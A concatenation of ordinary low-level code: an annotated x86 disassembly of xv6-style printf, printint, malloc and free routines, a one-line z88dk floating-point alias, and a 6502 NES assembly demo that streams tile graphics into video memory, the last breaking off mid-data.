cf mov %ecx,%edi 6a2: 31 d2 xor %edx,%edx 6a4: f7 f6 div %esi 6a6: 8d 4f 01 lea 0x1(%edi),%ecx 6a9: 0f b6 92 c7 0a 00 00 movzbl 0xac7(%edx),%edx }while((x /= base) != 0); 6b0: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 6b2: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 6b5: 75 e9 jne 6a0 <printint+0x30> if(neg) 6b7: 8b 55 c4 mov -0x3c(%ebp),%edx buf[i++] = digits[x % base]; 6ba: 89 c8 mov %ecx,%eax 6bc: 8b 75 c0 mov -0x40(%ebp),%esi if(neg) 6bf: 85 d2 test %edx,%edx 6c1: 74 08 je 6cb <printint+0x5b> buf[i++] = '-'; 6c3: 8d 4f 02 lea 0x2(%edi),%ecx 6c6: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 6cb: 8d 79 ff lea -0x1(%ecx),%edi 6ce: 66 90 xchg %ax,%ax 6d0: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax 6d5: 83 ef 01 sub $0x1,%edi write(fd, &c, 1); 6d8: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 6df: 00 6e0: 89 5c 24 04 mov %ebx,0x4(%esp) 6e4: 89 34 24 mov %esi,(%esp) 6e7: 88 45 d7 mov %al,-0x29(%ebp) 6ea: e8 e3 fe ff ff call 5d2 <write> while(--i >= 0) 6ef: 83 ff ff cmp $0xffffffff,%edi 6f2: 75 dc jne 6d0 <printint+0x60> putc(fd, buf[i]); } 6f4: 83 c4 4c add $0x4c,%esp 6f7: 5b pop %ebx 6f8: 5e pop %esi 6f9: 5f pop %edi 6fa: 5d pop %ebp 6fb: c3 ret 6fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi x = -xx; 700: 89 d0 mov %edx,%eax 702: f7 d8 neg %eax neg = 1; 704: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) 70b: eb 87 jmp 694 <printint+0x24> 70d: 8d 76 00 lea 0x0(%esi),%esi 00000710 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 710: 55 push %ebp 711: 89 e5 mov %esp,%ebp 713: 57 push %edi char *s; int c, i, state; uint *ap; state = 0; 714: 31 ff xor %edi,%edi { 716: 56 push %esi 717: 53 push %ebx 718: 83 ec 3c sub $0x3c,%esp ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 71b: 8b 5d 0c mov 0xc(%ebp),%ebx ap = (uint*)(void*)&fmt + 1; 71e: 8d 45 10 lea 0x10(%ebp),%eax { 721: 8b 75 08 mov 0x8(%ebp),%esi ap = (uint*)(void*)&fmt + 1; 724: 89 45 d4 mov %eax,-0x2c(%ebp) for(i = 0; fmt[i]; i++){ 727: 0f b6 13 movzbl (%ebx),%edx 72a: 83 c3 01 add $0x1,%ebx 72d: 84 d2 test %dl,%dl 72f: 75 39 jne 76a <printf+0x5a> 731: e9 c2 00 00 00 jmp 7f8 <printf+0xe8> 736: 66 90 xchg %ax,%ax c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 738: 83 fa 25 cmp $0x25,%edx 73b: 0f 84 bf 00 00 00 je 800 <printf+0xf0> write(fd, &c, 1); 741: 8d 45 e2 lea -0x1e(%ebp),%eax 744: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 74b: 00 74c: 89 44 24 04 mov %eax,0x4(%esp) 750: 89 34 24 mov %esi,(%esp) state = '%'; } else { putc(fd, c); 753: 88 55 e2 mov %dl,-0x1e(%ebp) write(fd, &c, 1); 756: e8 77 fe ff ff call 5d2 <write> 75b: 83 c3 01 add $0x1,%ebx for(i = 0; fmt[i]; i++){ 75e: 0f b6 53 ff movzbl -0x1(%ebx),%edx 762: 84 d2 test %dl,%dl 764: 0f 84 8e 00 00 00 je 7f8 <printf+0xe8> if(state == 0){ 76a: 85 ff test %edi,%edi c = fmt[i] & 0xff; 76c: 0f be c2 movsbl %dl,%eax if(state == 0){ 76f: 74 c7 je 738 <printf+0x28> } } else if(state == '%'){ 771: 83 ff 25 cmp $0x25,%edi 774: 75 e5 jne 75b <printf+0x4b> if(c == 'd'){ 776: 83 fa 64 cmp $0x64,%edx 779: 0f 84 31 01 00 00 je 8b0 <printf+0x1a0> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 77f: 25 f7 00 00 00 and $0xf7,%eax 784: 83 f8 70 cmp $0x70,%eax 787: 0f 84 83 00 00 00 je 810 <printf+0x100> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 78d: 83 fa 73 cmp $0x73,%edx 790: 0f 84 a2 00 00 00 je 838 <printf+0x128> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 796: 83 fa 63 cmp $0x63,%edx 799: 0f 84 35 01 00 00 je 8d4 <printf+0x1c4> putc(fd, *ap); ap++; } else if(c == '%'){ 79f: 83 fa 25 cmp $0x25,%edx 7a2: 0f 84 e0 00 00 00 je 888 <printf+0x178> write(fd, &c, 1); 7a8: 8d 45 e6 lea -0x1a(%ebp),%eax 7ab: 83 c3 01 add $0x1,%ebx 7ae: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 7b5: 00 } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 7b6: 31 ff xor %edi,%edi write(fd, &c, 1); 7b8: 89 44 24 04 mov %eax,0x4(%esp) 7bc: 89 34 24 mov %esi,(%esp) 7bf: 89 55 d0 mov %edx,-0x30(%ebp) 7c2: c6 45 e6 25 movb $0x25,-0x1a(%ebp) 7c6: e8 07 fe ff ff call 5d2 <write> putc(fd, c); 7cb: 8b 55 d0 mov -0x30(%ebp),%edx write(fd, &c, 1); 7ce: 8d 45 e7 lea -0x19(%ebp),%eax 7d1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 7d8: 00 7d9: 89 44 24 04 mov %eax,0x4(%esp) 7dd: 89 34 24 mov %esi,(%esp) putc(fd, c); 7e0: 88 55 e7 mov %dl,-0x19(%ebp) write(fd, &c, 1); 7e3: e8 ea fd ff ff call 5d2 <write> for(i = 0; fmt[i]; i++){ 7e8: 0f b6 53 ff movzbl -0x1(%ebx),%edx 7ec: 84 d2 test %dl,%dl 7ee: 0f 85 76 ff ff ff jne 76a <printf+0x5a> 7f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } } } 7f8: 83 c4 3c add $0x3c,%esp 7fb: 5b pop %ebx 7fc: 5e pop %esi 7fd: 5f pop %edi 7fe: 5d pop %ebp 7ff: c3 ret state = '%'; 800: bf 25 00 00 00 mov $0x25,%edi 805: e9 51 ff ff ff jmp 75b <printf+0x4b> 80a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 810: 8b 45 d4 mov -0x2c(%ebp),%eax 813: b9 10 00 00 00 mov $0x10,%ecx state = 0; 818: 31 ff xor %edi,%edi printint(fd, *ap, 16, 0); 81a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 821: 8b 10 mov (%eax),%edx 823: 89 f0 mov %esi,%eax 825: e8 46 fe ff ff call 670 <printint> ap++; 82a: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 82e: e9 28 ff ff ff jmp 75b <printf+0x4b> 833: 90 nop 834: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 838: 8b 45 d4 mov -0x2c(%ebp),%eax ap++; 83b: 83 45 d4 04 addl $0x4,-0x2c(%ebp) s = (char*)*ap; 83f: 8b 38 mov (%eax),%edi s = "(null)"; 841: b8 c0 0a 00 00 mov $0xac0,%eax 846: 85 ff test %edi,%edi 848: 0f 44 f8 cmove %eax,%edi while(*s != 0){ 84b: 0f b6 07 movzbl (%edi),%eax 84e: 84 c0 test %al,%al 850: 74 2a je 87c <printf+0x16c> 852: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 858: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 85b: 8d 45 e3 lea -0x1d(%ebp),%eax s++; 85e: 83 c7 01 add $0x1,%edi write(fd, &c, 1); 861: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 868: 00 869: 89 44 24 04 mov %eax,0x4(%esp) 86d: 89 34 24 mov %esi,(%esp) 870: e8 5d fd ff ff call 5d2 <write> while(*s != 0){ 875: 0f b6 07 movzbl (%edi),%eax 878: 84 c0 test %al,%al 87a: 75 dc jne 858 <printf+0x148> state = 0; 87c: 31 ff xor %edi,%edi 87e: e9 d8 fe ff ff jmp 75b <printf+0x4b> 883: 90 nop 884: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi write(fd, &c, 1); 888: 8d 45 e5 lea -0x1b(%ebp),%eax state = 0; 88b: 31 ff xor %edi,%edi write(fd, &c, 1); 88d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 894: 00 895: 89 44 24 04 mov %eax,0x4(%esp) 899: 89 34 24 mov %esi,(%esp) 89c: c6 45 e5 25 movb $0x25,-0x1b(%ebp) 8a0: e8 2d fd ff ff call 5d2 <write> 8a5: e9 b1 fe ff ff jmp 75b <printf+0x4b> 8aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 10, 1); 8b0: 8b 45 d4 mov -0x2c(%ebp),%eax 8b3: b9 0a 00 00 00 mov $0xa,%ecx state = 0; 8b8: 66 31 ff xor %di,%di printint(fd, *ap, 10, 1); 8bb: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8c2: 8b 10 mov (%eax),%edx 8c4: 89 f0 mov %esi,%eax 8c6: e8 a5 fd ff ff call 670 <printint> ap++; 8cb: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 8cf: e9 87 fe ff ff jmp 75b <printf+0x4b> putc(fd, *ap); 8d4: 8b 45 d4 mov -0x2c(%ebp),%eax state = 0; 8d7: 31 ff xor %edi,%edi putc(fd, *ap); 8d9: 8b 00 mov (%eax),%eax write(fd, &c, 1); 8db: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 8e2: 00 8e3: 89 34 24 mov %esi,(%esp) putc(fd, *ap); 8e6: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 8e9: 8d 45 e4 lea -0x1c(%ebp),%eax 8ec: 89 44 24 04 mov %eax,0x4(%esp) 8f0: e8 dd fc ff ff call 5d2 <write> ap++; 8f5: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 8f9: e9 5d fe ff ff jmp 75b <printf+0x4b> 8fe: 66 90 xchg %ax,%ax 00000900 <free>: static Header base; static Header *freep; void free(void *ap) { 900: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 901: a1 b8 0d 00 00 mov 0xdb8,%eax { 906: 89 e5 mov %esp,%ebp 908: 57 push %edi 909: 56 push %esi 90a: 53 push %ebx 90b: 8b 5d 08 mov 0x8(%ebp),%ebx if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 90e: 8b 08 mov (%eax),%ecx bp = (Header*)ap - 1; 910: 8d 53 f8 lea -0x8(%ebx),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 913: 39 d0 cmp %edx,%eax 915: 72 11 jb 928 <free+0x28> 917: 90 nop if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 918: 39 c8 cmp %ecx,%eax 91a: 72 04 jb 920 <free+0x20> 91c: 39 ca cmp %ecx,%edx 91e: 72 10 jb 930 <free+0x30> 920: 89 c8 mov %ecx,%eax for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 922: 39 d0 cmp %edx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 924: 8b 08 mov (%eax),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 926: 73 f0 jae 918 <free+0x18> 928: 39 ca cmp %ecx,%edx 92a: 72 04 jb 930 <free+0x30> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 92c: 39 c8 cmp %ecx,%eax 92e: 72 f0 jb 920 <free+0x20> break; if(bp + bp->s.size == p->s.ptr){ 930: 8b 73 fc mov -0x4(%ebx),%esi 933: 8d 3c f2 lea (%edx,%esi,8),%edi 936: 39 cf cmp %ecx,%edi 938: 74 1e je 958 <free+0x58> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 93a: 89 4b f8 mov %ecx,-0x8(%ebx) if(p + p->s.size == bp){ 93d: 8b 48 04 mov 0x4(%eax),%ecx 940: 8d 34 c8 lea (%eax,%ecx,8),%esi 943: 39 f2 cmp %esi,%edx 945: 74 28 je 96f <free+0x6f> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 947: 89 10 mov %edx,(%eax) freep = p; 949: a3 b8 0d 00 00 mov %eax,0xdb8 } 94e: 5b pop %ebx 94f: 5e pop %esi 950: 5f pop %edi 951: 5d pop %ebp 952: c3 ret 953: 90 nop 954: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 958: 03 71 04 add 0x4(%ecx),%esi 95b: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 95e: 8b 08 mov (%eax),%ecx 960: 8b 09 mov (%ecx),%ecx 962: 89 4b f8 mov %ecx,-0x8(%ebx) if(p + p->s.size == bp){ 965: 8b 48 04 mov 0x4(%eax),%ecx 968: 8d 34 c8 lea (%eax,%ecx,8),%esi 96b: 39 f2 cmp %esi,%edx 96d: 75 d8 jne 947 <free+0x47> p->s.size += bp->s.size; 96f: 03 4b fc add -0x4(%ebx),%ecx freep = p; 972: a3 b8 0d 00 00 mov %eax,0xdb8 p->s.size += bp->s.size; 977: 89 48 04 mov %ecx,0x4(%eax) p->s.ptr = bp->s.ptr; 97a: 8b 53 f8 mov -0x8(%ebx),%edx 97d: 89 10 mov %edx,(%eax) } 97f: 5b pop %ebx 980: 5e pop %esi 981: 5f pop %edi 982: 5d pop %ebp 983: c3 ret 984: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 98a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000990 <malloc>: return freep; } void* malloc(uint nbytes) { 990: 55 push %ebp 991: 89 e5 mov %esp,%ebp 993: 57 push %edi 994: 56 push %esi 995: 53 push %ebx 996: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 999: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 99c: 8b 1d b8 0d 00 00 mov 0xdb8,%ebx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 9a2: 8d 48 07 lea 0x7(%eax),%ecx 9a5: c1 e9 03 shr $0x3,%ecx if((prevp = freep) == 0){ 9a8: 85 db test %ebx,%ebx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 9aa: 8d 71 01 lea 0x1(%ecx),%esi if((prevp = freep) == 0){ 9ad: 0f 84 9b 00 00 00 je a4e <malloc+0xbe> 9b3: 8b 13 mov (%ebx),%edx 9b5: 8b 7a 04 mov 0x4(%edx),%edi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 9b8: 39 fe cmp %edi,%esi 9ba: 76 64 jbe a20 <malloc+0x90> 9bc: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax if(nu < 4096) 9c3: bb 00 80 00 00 mov $0x8000,%ebx 9c8: 89 45 e4 mov %eax,-0x1c(%ebp) 9cb: eb 0e jmp 9db <malloc+0x4b> 9cd: 8d 76 00 lea 0x0(%esi),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 9d0: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 9d2: 8b 78 04 mov 0x4(%eax),%edi 9d5: 39 fe cmp %edi,%esi 9d7: 76 4f jbe a28 <malloc+0x98> 9d9: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 9db: 3b 15 b8 0d 00 00 cmp 0xdb8,%edx 9e1: 75 ed jne 9d0 <malloc+0x40> if(nu < 4096) 9e3: 8b 45 e4 mov -0x1c(%ebp),%eax 9e6: 81 fe 00 10 00 00 cmp $0x1000,%esi 9ec: bf 00 10 00 00 mov $0x1000,%edi 9f1: 0f 43 fe cmovae %esi,%edi 9f4: 0f 42 c3 cmovb %ebx,%eax p = sbrk(nu * sizeof(Header)); 9f7: 89 04 24 mov %eax,(%esp) 9fa: e8 3b fc ff ff call 63a <sbrk> if(p == (char*)-1) 9ff: 83 f8 ff cmp $0xffffffff,%eax a02: 74 18 je a1c <malloc+0x8c> hp->s.size = nu; a04: 89 78 04 mov %edi,0x4(%eax) free((void*)(hp + 1)); a07: 83 c0 08 add $0x8,%eax a0a: 89 04 24 mov %eax,(%esp) a0d: e8 ee fe ff ff call 900 <free> return freep; a12: 8b 15 b8 0d 00 00 mov 0xdb8,%edx if((p = morecore(nunits)) == 0) a18: 85 d2 test %edx,%edx a1a: 75 b4 jne 9d0 <malloc+0x40> return 0; a1c: 31 c0 xor %eax,%eax a1e: eb 20 jmp a40 <malloc+0xb0> if(p->s.size >= nunits){ a20: 89 d0 mov %edx,%eax a22: 89 da mov %ebx,%edx a24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) a28: 39 fe cmp %edi,%esi a2a: 74 1c je a48 <malloc+0xb8> p->s.size -= nunits; a2c: 29 f7 sub %esi,%edi a2e: 89 78 04 mov %edi,0x4(%eax) p += p->s.size; a31: 8d 04 f8 lea (%eax,%edi,8),%eax p->s.size = nunits; a34: 89 70 04 mov %esi,0x4(%eax) freep = prevp; a37: 89 15 b8 0d 00 00 mov %edx,0xdb8 return (void*)(p + 1); a3d: 83 c0 08 add $0x8,%eax } } a40: 83 c4 1c add $0x1c,%esp a43: 5b pop %ebx a44: 5e pop %esi a45: 5f pop %edi a46: 5d pop %ebp a47: c3 ret prevp->s.ptr = p->s.ptr; a48: 8b 08 mov (%eax),%ecx a4a: 89 0a mov %ecx,(%edx) a4c: eb e9 jmp a37 <malloc+0xa7> base.s.ptr = freep = prevp = &base; a4e: c7 05 b8 0d 00 00 bc movl $0xdbc,0xdb8 a55: 0d 00 00 base.s.size = 0; a58: ba bc 0d 00 00 mov $0xdbc,%edx base.s.ptr = freep = prevp = &base; a5d: c7 05 bc 0d 00 00 bc movl $0xdbc,0xdbc a64: 0d 00 00 base.s.size = 0; a67: c7 05 c0 0d 00 00 00 movl $0x0,0xdc0 a6e: 00 00 00 a71: e9 46 ff ff ff jmp 9bc <malloc+0x2c>
SECTION code_fp_math32 PUBLIC ___slong2fs EXTERN cm32_sdcc___slong2fs defc ___slong2fs = cm32_sdcc___slong2fs
;**************************************************************** ;iNES header ;**************************************************************** .byte "NES",$1a .byte $01 ; 1 PRG-ROM block .byte $00 ; 0 CHR-ROM block ; ROM control bytes: Horizontal mirroring, no SRAM ; or trainer, Mapper #0 .byte $21 ;Vertical mirroring. SRAM disabled. No trainer. Four-screen mirroring disabled. Mapper #2 (UnROM) .byte $00 ;Rest of Mapper #2 bits (all 0) .byte 0,0,0,0,0,0,0,0 ; pad header to 16 bytes ;**************************************************************** ;Constants ;**************************************************************** STREAM_AMOUNT = 16 * 7 ;**************************************************************** ;Macros ;**************************************************************** ;**************************************************************** ;ZP variables ;**************************************************************** .base $0000 .enum $0000 stream_amount: .dsb 1 vblank_done: .dsb 1 palette_address: .dsw 1 nametable_address: .dsw 1 chr_address: .dsw 1 vram_address: .dsw 1 chr_counter: .dsb 1 total_chr_counter: .dsw 1 data_ready: .dsb 1 .ende ;**************************************************************** ;RAM variables ;**************************************************************** .base $0200 .enum $0200 .ende ;**************************************************************** ;Demo entry point ;**************************************************************** .base $C000 reset: sei ;disable IRQs cld ;disable decimal mode ldx #$40 stx $4017 ;disable APU frame IRQ ldx #$FF txs ;Set up stack inx ;now X = 0 stx $2000 ;disable NMI stx $2001 ;disable rendering stx $4010 ;disable DMC IRQs vblankwait1: ;First wait for vblank to make sure PPU is ready bit $2002 bpl vblankwait1 clrmem: lda #$00 sta $0000, x sta $0100, x sta $0200, x sta $0400, x sta $0500, x sta $0600, x sta $0700, x lda #$FE sta $0300, x inx bne clrmem vblankwait2: ;Second wait for vblank, PPU is ready after this bit $2002 bpl vblankwait2 lda #<palette sta palette_address lda #>palette sta palette_address+1 jsr load_palette lda #<nametable sta nametable_address lda #>nametable sta nametable_address+1 jsr load_nametable ;Turn on nmi lda #%10000000 sta $2000 jsr vblank_wait ;Turn graphics on, we want to load chr data LIVE lda #%00011000 sta $2001 load_normal_chr_data: lda #STREAM_AMOUNT sta stream_amount ;Now we're going to load the CHR data lda #<4096 sta total_chr_counter lda #>4096 sta total_chr_counter+1 lda #<chr_data sta chr_address lda #>chr_data sta chr_address+1 lda #0 sta vram_address sta vram_address+1 lda stream_amount sta chr_counter lda #1 sta data_ready forever: jsr vblank_wait sec lda total_chr_counter sbc stream_amount sta total_chr_counter lda total_chr_counter+1 sbc #0 sta total_chr_counter+1 lda total_chr_counter ora total_chr_counter+1 beq black_out ;Account for odd stream amount sizes (not powers of 16) sec lda stream_amount sbc total_chr_counter lda #0 sbc total_chr_counter+1 bmi + lda total_chr_counter sta stream_amount + lda stream_amount sta chr_counter clc lda vram_address adc stream_amount sta vram_address lda vram_address+1 adc #0 sta vram_address+1 clc lda chr_address adc stream_amount sta chr_address lda chr_address+1 adc #0 sta chr_address+1 lda #1 sta data_ready jmp forever black_out: lda #STREAM_AMOUNT sta stream_amount ;Now we're going to load the CHR data lda #<4096 sta total_chr_counter lda #>4096 sta total_chr_counter+1 lda #<blank_chr_data sta chr_address lda #>blank_chr_data sta chr_address+1 lda #0 sta vram_address sta vram_address+1 lda stream_amount sta chr_counter lda #1 sta data_ready blank_loop: jsr vblank_wait sec lda total_chr_counter sbc stream_amount sta total_chr_counter lda total_chr_counter+1 sbc #0 sta total_chr_counter+1 lda total_chr_counter ora total_chr_counter+1 bne + jmp load_normal_chr_data + ;Account for odd stream amount sizes (not powers of 16) sec lda stream_amount sbc total_chr_counter lda #0 sbc total_chr_counter+1 bmi + lda total_chr_counter sta stream_amount + lda stream_amount sta chr_counter clc lda vram_address adc stream_amount sta vram_address lda vram_address+1 adc #0 sta vram_address+1 clc lda chr_address adc stream_amount sta chr_address lda chr_address+1 adc #0 sta chr_address+1 lda #1 sta data_ready jmp blank_loop vblank_wait: lda #0 sta vblank_done vblank_wait_loop: lda vblank_done beq vblank_wait_loop rts ;Requires vram_address to be set to the tile from which we want to begin updating ;Requires chr_counter to be set to the number of bytes we want to copy ;Requires chr_address to point to the chr_tile from which we want to begin copying load_chr_chunk: lda vram_address+1 sta $2006 lda vram_address sta $2006 ldy #0 next_tile: lda (chr_address),y sta $2007 iny dec chr_counter bne next_tile rts load_nametable: lda #$20 sta $2006 lda #$00 sta $2006 ldy #$00 ldx #$04 nametable_loop: lda (nametable_address),y sta $2007 iny bne nametable_loop inc nametable_address+1 dex bne nametable_loop rts load_palette: ;Set VRAM to point to beginning of palette range. lda #$3F sta $2006 lda #$00 sta $2006 ;Upload the palette we're pointing to into VRAM. ldy #0 pal_loop: lda (palette_address),y sta $2007 iny cpy #$20 bne pal_loop rts nmi: pha txa pha tya pha php lda data_ready beq not_ready jsr load_chr_chunk lda #0 sta data_ready not_ready: lda #$20 sta $2006 lda #$00 sta $2006 lda #0 sta $2005 sta $2005 lda #1 sta vblank_done plp pla tay pla tax pla irq: rti palette: .byte $0e,$08,$1a,$18,$0e,$12,$24,$20,$0e,$1a,$18,$20,$0e,$0e,$0e,$0e .byte $0e,$08,$1a,$18,$0e,$12,$24,$20,$0e,$1a,$18,$20,$0e,$0e,$0e,$0e chr_data: .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$7f,$ff,$ff,$00,$00,$00,$00,$00,$00,$7f,$ff .byte $00,$00,$00,$00,$00,$fe,$ff,$ff,$00,$00,$00,$00,$00,$00,$fe,$fe .byte $03,$07,$07,$0f,$1f,$1f,$3f,$3f,$01,$03,$03,$07,$0f,$0f,$0f,$1f .byte $ff,$ff,$ff,$f0,$e0,$e0,$c0,$c0,$ff,$ff,$f0,$e0,$c0,$c0,$80,$80 .byte $ff,$ff,$ff,$3f,$1f,$00,$00,$00,$ff,$ff,$3f,$1f,$00,$00,$00,$00 .byte $80,$c0,$c0,$80,$00,$00,$00,$00,$00,$80,$80,$00,$00,$00,$00,$00 .byte $00,$00,$01,$01,$01,$03,$03,$03,$00,$00,$00,$00,$00,$01,$01,$01 .byte $7c,$fe,$fe,$fe,$fc,$fc,$fc,$f8,$00,$7c,$fc,$fc,$f8,$f8,$f8,$f0 .byte $03,$07,$07,$0f,$0f,$1f,$1f,$3f,$00,$03,$03,$07,$07,$0f,$0f,$1f .byte $c0,$e0,$e0,$e0,$e0,$c0,$c0,$80,$00,$c0,$c0,$c0,$c0,$80,$80,$00 .byte $00,$00,$00,$00,$00,$00,$01,$01,$00,$00,$00,$00,$00,$00,$00,$00 .byte $7f,$7f,$7f,$7f,$ff,$ff,$fe,$fe,$1f,$3f,$3f,$3e,$3e,$7e,$7c,$fc .byte $ff,$ff,$ff,$ff,$ff,$0f,$03,$03,$00,$3f,$7f,$7f,$00,$01,$01,$01 .byte $fc,$fe,$fe,$fe,$fd,$fd,$fd,$fb,$00,$fc,$fc,$fc,$f8,$f8,$f8,$f1 .byte $3b,$7f,$ff,$ff,$ff,$fe,$fc,$fc,$00,$3b,$7f,$7f,$fc,$fc,$f8,$f8 .byte $f8,$fc,$fe,$fe,$fc,$00,$00,$00,$00,$f8,$fc,$fc,$00,$00,$00,$00 .byte $3f,$7f,$ff,$ff,$7f,$3f,$7f,$ff,$00,$3f,$7f,$7f,$00,$00,$3f,$7f .byte $fc,$fe,$fe,$ff,$ff,$ff,$ff,$ff,$00,$fc,$fc,$f8,$3e,$3e,$fe,$fe .byte $00,$01,$03,$0f,$1f,$3f,$3f,$7f,$00,$00,$01,$03,$0f,$1f,$1f,$3f .byte $ff,$ff,$ff,$ff,$ff,$cf,$9f,$9f,$03,$ff,$ff,$ff,$87,$87,$0f,$0f .byte $f9,$fb,$f7,$f7,$f7,$ef,$ef,$ef,$f0,$f1,$e3,$e3,$e3,$c7,$c7,$c7 .byte $f0,$f9,$f9,$f9,$f3,$f3,$e3,$e7,$00,$f0,$f0,$f0,$e1,$e1,$c1,$c3 .byte $f8,$fc,$fd,$fd,$fc,$f8,$f8,$f1,$00,$f8,$f8,$f8,$f8,$f0,$f0,$e0 .byte $7f,$ff,$ff,$ff,$ff,$7f,$ff,$ff,$00,$7f,$ff,$ff,$00,$00,$7f,$ff .byte $f8,$fc,$fc,$fc,$fe,$fe,$fe,$fe,$00,$f8,$f8,$f0,$7c,$7c,$fc,$fc .byte $3f,$3f,$7f,$7f,$7f,$ff,$fe,$fe,$1f,$1f,$3e,$3e,$3e,$7e,$7c,$7c .byte $80,$80,$80,$00,$00,$00,$01,$01,$00,$00,$00,$00,$00,$00,$00,$00 .byte $fc,$fe,$fe,$fe,$fc,$fc,$fc,$f8,$00,$fc,$fc,$fc,$f8,$f8,$f8,$f0 .byte $fc,$fe,$fe,$fe,$ff,$ff,$ff,$ff,$00,$fc,$fc,$f8,$3e,$3e,$fe,$fe .byte $03,$07,$0f,$3f,$7f,$7f,$7f,$ff,$00,$03,$07,$07,$3f,$3f,$3e,$7e .byte $fd,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$00,$fd,$fd,$fd,$3e,$7e,$7c,$7c .byte $f0,$f8,$fc,$fc,$fe,$fe,$fe,$fd,$00,$f0,$f8,$f8,$7c,$fc,$fc,$f8 .byte $07,$0f,$3f,$7f,$ff,$ff,$ff,$ff,$00,$07,$07,$1f,$7c,$7c,$7f,$ff .byte $fc,$fe,$ff,$ff,$07,$07,$ff,$ff,$00,$fc,$fe,$06,$03,$03,$07,$f8 .byte $00,$00,$01,$07,$8f,$9f,$9f,$0f,$00,$00,$00,$01,$07,$0f,$0f,$07 .byte $7f,$ff,$ff,$ff,$ff,$f8,$fe,$ff,$00,$7f,$ff,$ff,$f0,$f0,$e0,$fe .byte $e0,$f0,$f8,$f8,$f0,$00,$00,$80,$00,$e0,$f0,$f0,$00,$00,$00,$00 .byte $01,$01,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $ff,$ff,$ff,$ff,$ff,$7f,$7f,$3f,$fc,$ff,$7f,$7f,$3f,$1f,$00,$00 .byte $ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$03,$ff,$ff,$ff,$ff,$ff,$00,$00 .byte $fb,$fb,$f7,$f7,$e7,$cf,$0f,$07,$f1,$f1,$e3,$e3,$c3,$07,$07,$00 .byte $fc,$f8,$f8,$f8,$f0,$f0,$f0,$e0,$f8,$f0,$f0,$f0,$e0,$e0,$e0,$00 .byte $01,$03,$07,$07,$07,$03,$03,$01,$00,$01,$03,$03,$03,$01,$01,$00 .byte $ff,$ff,$e0,$ff,$ff,$ff,$ff,$fe,$ff,$e0,$c0,$80,$ff,$ff,$fe,$00 .byte 